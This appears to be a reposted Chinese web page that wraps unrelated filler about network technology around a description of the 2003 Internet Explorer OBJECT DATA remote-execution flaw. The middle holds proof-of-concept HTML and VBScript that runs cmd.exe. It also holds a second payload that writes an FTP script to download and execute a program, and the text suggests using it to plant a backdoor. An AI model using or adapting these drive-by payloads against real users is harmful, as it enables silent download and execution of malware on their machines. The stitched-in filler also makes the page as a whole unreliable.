发布时间：2023-09-12 来源：win7旗舰版 浏览量：
|
网络技术是从1990年代中期发展起来的新技术，它把互联网上分散的资源融为有机整体，实现资源的全面共享和有机协作，使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享，网络则被认为是互联网发展的第三阶段。 eEye Digital Security在8月20号公布了这个漏洞，该漏洞是由于HTML中的OBJECT的DATA标签引起的。对于DATA所标记的URL，IE会根据服务器返回的HTTP头中的Content-Type来处理数据，也就是说如果HTTP头中返回的是application/hta等。那么该文件就能够执行，而不管IE的安全级别多高。来看个例子,这里有两个文件。 --------------test.htm----------------- <html> <body> This is a Test! <object data="http://127.0.0.1/test.test"></object> </body> ------------End of test.htm----------------------------test.test------------------ <html> <object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object> <script language="VBScript"> wsh.Run("cmd.exe /k echo This is a test!") </script> </html> ------------End of test.test--------------- 把test.test放在HTTP服务器的相应目录下，然后更改服务器的MIME映射为扩展名.test对应application/hta。用IE打开test.htm看看结果。我们可以更改test.test让它更有威力，可以让它先下载一个后门程序等，然后再运行它。看看这段代码。 ---------------test.test--------------------- <html> <object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object> <script LANGUAGE="VBScript"> Dim fso, tf Set fso = CreateObject("Scripting.FileSystemObject") Set tf = fso.CreateTextFile("ftp.txt",true) tf.Write "get xxx.exe"&chr(13)&chr(10) tf.Write "bye" tf.Close wsh.Run "ftp.exe -A -s:ftp.txt 127.0.0.1", 0 ,true wsh.Run "xxx.exe" window.close </script> </html> --------------------end of test.test------------------------ 参考资料： http://www.eeye.com/html/Research/Advisories/AD20030820.html http://www.microsoft.com/technet/security/bulletin/MS03-032.asp 网络的神奇作用吸引着越来越多的用户加入其中，正因如此，网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......，各项技术都需要适时应势，对应发展，这正是网络迅速走向进步的催化剂。 |
IE Object Data Remote Execution Vulnerability
eEye Digital Security在8月20号公布了这个漏洞，该漏洞是由于HTML中的OB
┆
